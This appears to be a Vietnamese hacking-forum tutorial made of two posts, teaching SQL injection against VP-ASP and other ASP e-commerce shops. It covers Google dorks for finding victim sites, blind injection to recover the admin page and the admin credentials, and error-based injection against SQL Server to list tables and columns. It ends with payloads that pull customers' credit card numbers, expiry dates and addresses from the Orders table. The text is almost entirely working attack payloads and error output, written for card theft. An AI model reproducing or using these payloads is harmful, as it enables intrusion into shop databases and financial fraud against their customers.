TUTORIAL FROM HCV
---- Đây là phương pháp hack lỗi SQL nâng cao đối với các shop VP-ASP. Được sự giúp đỡ của 1 admin trong HCV
hiện tại Quoc xin được chia sẻ với các bạn
**********************************************
Vuln: SQL Inject in VP-ASP all of version
Exploiter: Unknown
Tool: Mozilla Firefox Download
**********************************************
Đầu tiên, bạn phải tìm ra shop của victim
Công cụ: />Keyword: shopdisplayproducts.asp?
shopaddtocart.asp?
shopexd.asp
Các bạn tự tìm thêm key cho mình nhé.
Ví dụ ở đây tui chọn shop
CODE
/>Sau đó chúng ta thêm dấu ' vao phía sau link thành như sau
CODE
/>Ok, chúng ta bắt đầu tìm link admin nhé
---- Tìm chữ đầu tiên trong link admin, các bạn thêm dòng lệnh này vao phía sau link trên nhé
CODE
/>20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,1)='s')
Chúng ta sẽ thay dần giá trị 's' sao cho ứng với kí tự đầu tiên của link
Ở đây tui tìm được là kí tự 'a'
---- Sau đó tìm tiếp chiều dài của link admin (thường thì tu gia trị thứ 5 trở đi vì link admin sẽ có thêm .asp ví du
admin.asp <--- có 9 kí tự)
CODE
/>20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,1)='a' and len(fieldvalue)=5)
Thay tiếp giá trị 5 thành các giá trị số cho đến khi tìm được đúng chiều dài của link admin.
Ở đây mình tìm được là 15 ki tự
---- Tiếp theo tìm các kí tự còn lại trong link admin nhé.
CODE
/>20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,2)='ad')
Thay đổi dần giá trị trong lệnh left ứng với vị trí kí tự của link admin.
Sau khi tìm được link admin, chúng ta sẽ được adminonline.asp
---- Tiếp theo tìm username
Các bạn thêm câu truy vấn này phía sau link nhé
CODE
%20or%201=(select%20fldusername%20from%20tbluser%20where%20left(fldusername,1)='q')
Khi đó câu truy vấn sẽ là
CODE
/>20where%20left(fldusername,1)='s')
Ở đây kí tự đầu tiên là 's'
---- Tiếp theo tìm chiều dài của username
CODE
/>20where%20left(fldusername,1)='s' and len(fldusername)=3)
Chúng ta sẽ tìm được username là "sfp"
---- Tìm password
Cũng tương tự như trên chỉ cần thay fldusername bằng fldpassword
Các bạn thêm câu truy vấn này phía sau link nhé
CODE
%20or%201=(select%20fldpassword%20from%20tbluser%20where%fldusername='sfp' and left(fldpassword,1)='p')
Tìm password tương ứng với username là "sfp". Chữ đầu tiên là 'p'
Khi đó câu truy vấn sẽ là
CODE
/>20where%fldusername='sfp' and left(fldpassword,1)='p')
Ở đây kí tự đầu tiên là 'p'
---- Tiếp theo tìm chiều dài của password
CODE
/>20where%fldusername='sfp' and left(fldpassword,1)='p' and len(fldpassword)=11)
Sau khi tìm được chúng ta sẽ co pass là 'performance'
*************************************************************
Cuối cùng sau khi hoàn tất chúng ta sẽ có link admin là
/>user: sfp
pass: performance
TUTORIAL BY CONGLAPHVA
-Vào www.google.com.vn đánh vào
-allinurl:'/product.asp/'
-allinurl:'/product.asp?productid/'
-allinurl:'/logint.asp'
-Bây giờ ta bắt đầu công việc,tôi chọn 1 site để hack />-Kiểm tra lỗi: ( ta chỉ cần đánh vào dấu ' để test lỗi )
-Kết quả:
Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string ''.
/store/includes/common.asp, line 2116
1. Thu thập cấu trúc dữ liệu :
Lấy Table đầu tiên
/>20table_name%20from%20information_schema.tables))--sp_password
Kết quả:
Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'StateTaxes' to a column of data type int.
/store/includes/common.asp, line 2116
Như vậy ta có table đầu tiên là StateTaxes. Lấy tiếp table thứ hai :
/>20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20('StateTaxes')))--
sp_password
Kết quả:
Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'BillingAddresses' to a column of data type int.
/store/includes/common.asp, line 2116
Như vậy table thứ hai là BillingAddresses
Lấy tiếp table thứ ba
/>20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20
('StateTaxes','BillingAddresses')))--sp_password
Kết quả:
Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'Categories' to a column of data type int.
/store/includes/common.asp, line 2116
các bạn cứ lấy kết quả của table thứ 3 (chữ màu xanh) thay thế vào sau table 3 là lấy được toàn bộ table của site này
VD:
/>20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20
('StateTaxes','BillingAddresses','Categories')))--sp_password
-Còn đây là toàn bộ table của site này
/>20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20
('StateTaxes','BillingAddresses','Categories','Countries','CreditCards','Discounts','dtproperties','Groups','homeblurb','Ite
mGroups','Items','Manufacturers','Members','OrderItems','OrderItemsShipped','Orders','SavedCart','SavedCartItems','Se
cure','SessionData','Settings','SettingsFreeShippingCountries'.'ShippingAddresses')))--sp_password
CC thường chứa trong các table Orders hay creditcard, ở đây tôi chọn Orders để hack. Lấy Column đầu tiên
/>20column_name%20from%20information_schema.columns%20where%20table_name=('Orders')))--sp_password
Kết quả:
Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'OrderID' to a column of data type int.
/store/includes/common.asp, line 2116
Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'DateCreated' to a column of data type int.
/store/includes/common.asp, line 2116
Ta lần lượt lấy hết coloum của table này, có kết quả như sau:
/>20column_name%20from%20information_schema.columns%20where%20table_name=('Orders')%20and%
20column_name%20not%20in%20
('OrderID','DateCreated','MemberID','ShippingMethod','Company','FirstName','LastName','Address1','Address2','City','
State','Zip','ForeignAddress','Country','Phone','Fax','Email','CardName','CardType','CardNumber','ExpirationDate','Car
dAddress','CardZip','ShippingAddress1','SubTotal','Discount','DiscountDescription','Tax','Shipping','OrderTotal','PONu
mber','ResaleNumber','Handling','Comments','Referer','StoreName','ShippingCompany','ShippingFirstName','Shipping
LastName','ShippingAddress2','ShippingCity','ShippingState','ShippingZip','ShippingForeignAddress','ShippingCountr
y','ShippingPhone','ShippingFax','CardVerification','CardVerificationNone','CardVerificationRead','PhoneOrder','FRE
EShippingMethod')))--sp_password
Ta lấy thông tin của coloum này
Các coloum quan trọng thường là First/Last name/Address1/city/state/zip/Country/phone/fax/email/cardname/
cardtype/Cardnumber/ExpirationDate/CNV2 (tuy nhiên site này o có cnv2) ->nhiêu đó chắc cũng đủ rồi nhỉ?
Theo đường link này sẽ có cc
/>20CardName%2b'/'%2bAddress1%2b'/'%2bCity%2b'/'%2bState%2b'/'%2bZip%2b'/'%2bPhone%2b'/'%2bCountry%
2b'/'%2bCardNumber%2b'/'%2bExpirationDate%20from%20Orders))--sp_password
các bạn cần thông tin gì thì cứ chèn /'%2b******%2b'/ vào
tìm được cc đầu tiên,các bạn dùng link này để lấy cc thứ 2 và tiếp tục
/>27/%27%2bAddress1%2b%27/%27%2bCity%2b%27/%27%2bState%2b%27/%27%2bZip%2b%27/%27%2bPhone%
2b%27/%27%2bCountry%2b%27/%27%2bCardNumber%2b%27/%27%2bExpirationDate%20from%20Orders%
20where%20CardNumber%20not%20in('XXXXXXXXXXXXXXX')%20)
Llấy được cc thứ 2 thì lấy số number của card đó thêm vào sau link trên chỗ 'XXXXXXXXXXXXXXXX'